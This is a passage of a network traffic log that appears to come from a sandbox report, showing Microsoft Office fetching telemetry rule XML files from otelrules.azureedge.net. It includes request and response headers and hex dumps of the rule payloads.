2024-11-01 02:46:10 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:10 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:10 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:10 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 78dfd7f1-001e-0034-02ca-2add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024610Z-16849878b7867ttgfbpnfxt44s0000000a7g00000000hdyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:10 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024611Z-16849878b78sx229w7g7at4nkg00000008n000000000f743 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:11 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:11 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024611Z-15b8d89586fbmg6qpd9yf8zhm0000000059g000000009nf7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:11 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 045b9726-001e-0014-4db7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024611Z-159b85dff8fx9jp8hC1DFWp25400000002d0000000007yxb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 8e71fc15-901e-002a-73c1-2b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024611Z-17c5cb586f6l54tjt07kuq05pc00000001k0000000000bka x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024611Z-16849878b78zqkvcwgr6h55x9n00000009t000000000musm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-16849878b78nzcqcd7bed2fb6n00000002sg00000000pz51 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:12 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-17c5cb586f626sn8grcgm1gf8000000008yg000000004y28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 071448c9-d01e-0028-2702-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-15b8d89586fhl2qtatrz3vfkf00000000gs000000000c6bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:12 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:11 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-16849878b786lft2mu9uftf3y40000000bp000000000cm26 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:12 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:12 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0f62b768-101e-008e-3108-2ccf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-17c5cb586f6l54tjt07kuq05pc00000001c0000000009406 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-01 02:46:12 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:12 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:12 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:12 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024612Z-16849878b78qf2gleqhwczd21s0000000am000000000dh6n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
